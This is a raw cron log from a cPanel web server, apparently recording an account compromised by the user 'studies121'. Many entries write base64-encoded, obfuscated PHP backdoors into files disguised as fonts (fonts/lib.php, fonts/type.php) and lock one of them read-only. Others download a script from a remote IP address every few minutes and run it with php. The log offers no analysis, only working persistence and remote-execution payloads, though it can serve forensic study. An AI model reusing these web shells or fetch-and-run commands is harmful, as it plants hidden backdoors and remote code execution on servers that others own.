Sep  8 02:59:01 ip-184-168-122-23 CROND[28416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:59:01 ip-184-168-122-23 CROND[28415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:00:01 ip-184-168-122-23 CROND[28530]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:00:01 ip-184-168-122-23 CROND[28533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:00:01 ip-184-168-122-23 CROND[28534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:00:01 ip-184-168-122-23 CROND[28535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:00:01 ip-184-168-122-23 CROND[28536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:00:01 ip-184-168-122-23 CROND[28538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:00:01 ip-184-168-122-23 CROND[28539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:00:01 ip-184-168-122-23 CROND[28537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:01:01 ip-184-168-122-23 CROND[28650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:01:01 ip-184-168-122-23 CROND[28648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:01:01 ip-184-168-122-23 CROND[28647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:01:01 ip-184-168-122-23 CROND[28646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:01:01 ip-184-168-122-23 CROND[28649]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 03:01:01 ip-184-168-122-23 CROND[28651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28649]: starting 0anacron
Sep  8 03:01:01 ip-184-168-122-23 anacron[28667]: Anacron started on 2026-09-08
Sep  8 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28670]: finished 0anacron
Sep  8 03:01:01 ip-184-168-122-23 anacron[28667]: Will run job `cron.daily' in 31 min.
Sep  8 03:01:01 ip-184-168-122-23 anacron[28667]: Jobs will be executed sequentially
Sep  8 03:02:01 ip-184-168-122-23 CROND[28757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:02:01 ip-184-168-122-23 CROND[28759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:02:01 ip-184-168-122-23 CROND[28758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:02:01 ip-184-168-122-23 CROND[28756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:02:01 ip-184-168-122-23 CROND[28760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:03:01 ip-184-168-122-23 CROND[28838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:03:01 ip-184-168-122-23 CROND[28839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:03:01 ip-184-168-122-23 CROND[28842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:03:01 ip-184-168-122-23 CROND[28840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:04:01 ip-184-168-122-23 CROND[29033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:04:01 ip-184-168-122-23 CROND[29035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:04:01 ip-184-168-122-23 CROND[29034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:04:01 ip-184-168-122-23 CROND[29036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:04:01 ip-184-168-122-23 CROND[29037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:05:01 ip-184-168-122-23 CROND[29145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:05:01 ip-184-168-122-23 CROND[29150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:05:01 ip-184-168-122-23 CROND[29152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:05:01 ip-184-168-122-23 CROND[29147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:05:01 ip-184-168-122-23 CROND[29154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:05:01 ip-184-168-122-23 CROND[29148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:05:01 ip-184-168-122-23 CROND[29149]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:06:01 ip-184-168-122-23 CROND[29239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:06:01 ip-184-168-122-23 CROND[29240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:06:01 ip-184-168-122-23 CROND[29241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:06:01 ip-184-168-122-23 CROND[29242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:06:01 ip-184-168-122-23 CROND[29243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:07:01 ip-184-168-122-23 CROND[29322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:07:01 ip-184-168-122-23 CROND[29324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:07:01 ip-184-168-122-23 CROND[29323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:07:01 ip-184-168-122-23 CROND[29325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:08:01 ip-184-168-122-23 CROND[29409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:08:01 ip-184-168-122-23 CROND[29410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:08:01 ip-184-168-122-23 CROND[29414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:08:01 ip-184-168-122-23 CROND[29412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:08:01 ip-184-168-122-23 CROND[29416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:09:01 ip-184-168-122-23 CROND[29517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:09:01 ip-184-168-122-23 CROND[29520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:09:01 ip-184-168-122-23 CROND[29521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:09:01 ip-184-168-122-23 CROND[29519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:09:01 ip-184-168-122-23 CROND[29522]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 03:10:01 ip-184-168-122-23 CROND[29616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:10:01 ip-184-168-122-23 CROND[29617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:10:01 ip-184-168-122-23 CROND[29619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:10:01 ip-184-168-122-23 CROND[29621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:10:01 ip-184-168-122-23 CROND[29625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:10:01 ip-184-168-122-23 CROND[29624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:10:01 ip-184-168-122-23 CROND[29623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:10:01 ip-184-168-122-23 CROND[29628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:11:01 ip-184-168-122-23 CROND[29817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
